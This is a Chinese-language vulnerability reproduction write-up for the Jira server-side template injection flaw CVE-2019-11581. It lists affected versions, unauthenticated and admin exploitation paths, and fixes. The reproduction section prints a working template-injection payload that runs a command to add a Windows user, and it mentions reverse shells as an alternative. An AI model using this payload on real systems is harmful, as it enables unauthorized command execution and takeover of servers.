0x00 漏洞描述
Atlassian Jira是澳大利亞Atlassian公司的一套缺陷跟蹤管理系統。該系統主要用於對工作中各類問題、缺陷進行跟蹤管理。
Atlassian Jira Server和Jira Data Center存在服務端模板注入漏洞,成功利用此漏洞的攻擊者可對運行受影響版本的Jira Server或Jira Data Center的服務器執行任意命令,從而獲取服務器權限,嚴重危害網絡資產。
0x01 CVE編號
CVE-2019-11581
0x02 漏洞危害等級
高危
0x03 漏洞影響范圍
AtlassianJira 4.4.x
AtlassianJira 5.x.x
AtlassianJira 6.x.x
AtlassianJira 7.0.x
AtlassianJira 7.1.x
AtlassianJira 7.2.x
AtlassianJira 7.3.x
AtlassianJira 7.4.x
AtlassianJira 7.5.x
AtlassianJira 7.6.x < 7.6.14
AtlassianJira 7.7.x
AtlassianJira 7.8.x
AtlassianJira 7.9.x
AtlassianJira 7.10.x
AtlassianJira 7.11.x
AtlassianJira 7.12.x
AtlassianJira 7.13.x < 7.13.5
AtlassianJira 8.0.x < 8.0.3
AtlassianJira 8.1.x < 8.1.2
AtlassianJira 8.2.x < 8.2.3
0x04 漏洞簡析
第一種,未授權代碼執行利用條件:Jira已配置好SMTP服務器,且需開啟“聯系網站管理員表單”功能。(從WEB界面設計上看,實際上如果沒配置SMTP服務器,無法開啟此功能
第二種利用場景前提是拿到Jira管理員的權限,利用條件較難滿足,這里主要分析第一種情況。原因在於atlassian-jira/WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators 未對Subject(郵件主題)處進行過濾,用戶傳入的郵件主題被當作template(模板)指令執行。在任何一種情況下,成功利用此漏洞的攻擊者都可在運行受影響版本的Jira Server或Jira Data Center的系統上執行任意命令。
2.以下兩種url漏洞驗證方式:
第一種無需管理員賬戶權限:http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa
第二種需管理員賬戶權限:http://10.206.1.8:8080/secure/admin/SendBulkMail!default.jspa
如果出現以下運行版本號則為存在漏洞。
0x05 漏洞復現
1. 漏洞利用條件
聯系管理員處必須開啟 (需要知道后台管理員賬號密碼)
2.環境准備:
Atlassian JIRAv7.13.0 (以該版本為例,該版本存在漏洞)下載地址:
https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe
安裝過程不再描述(按照提示進行安裝,先在官方注冊一個賬號然后拿到一個試用期序列號並進行安裝),注意,到了郵件配置那一步經盡量選以后(默認就是),然后進入后台配置。
3.確認未登陸狀態下漏洞的存在
訪問如下URL(無需管理員賬戶權限):
http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa
如果提示如下圖,這說明沒有配置聯系管理員是無法觸發漏洞。


請登陸后台開啟聯系管理員,配置地址如下:
http://10.10.20.116:8080/secure/admin/EditApplicationProperties!default.jspa
默認是關閉的,需要配置了STMP發信后才能開啟,配置STMP的時候可以測試連接,服務器必須開25端口,不然不能發郵件,下圖是開啟成功


4.未登陸狀態下觸發漏洞
訪問
http://10.206.1.8:8080/secure/ContactAdministrators!default.jspa

在Subject填入payload,注意,我這里環境是windows機器,所以可以添加賬號觀察,Linux可以用反彈shell的代碼等等,反正換成自己想執行的命令。
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('net user bk abc@ABC123 /add').waitFor()


發送了后可能會等一會兒,因為要加入郵件隊列。這時候再上服務器執行net user查看,發現正是剛剛執行命令添加的賬戶。

5. 登陸管理員賬號觸發漏洞
登陸管理員賬號,然后訪問如下URL:
http://10.206.1.8:8080/secure/admin/SendBulkMail!default.jspa
填入payload,如下,注意執行命令添加賬號的賬戶名



0x06 漏洞修復


編輯設置


關閉聯系網站管理員表單功能
1.升級到不受漏洞影響的版本。
2.對http://ip:port/secure/admin/SendBulkMail!default.jspa限制訪問的源ip
0x07 參考文獻
https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw
https://github.com/jas502n/CVE-2019-11581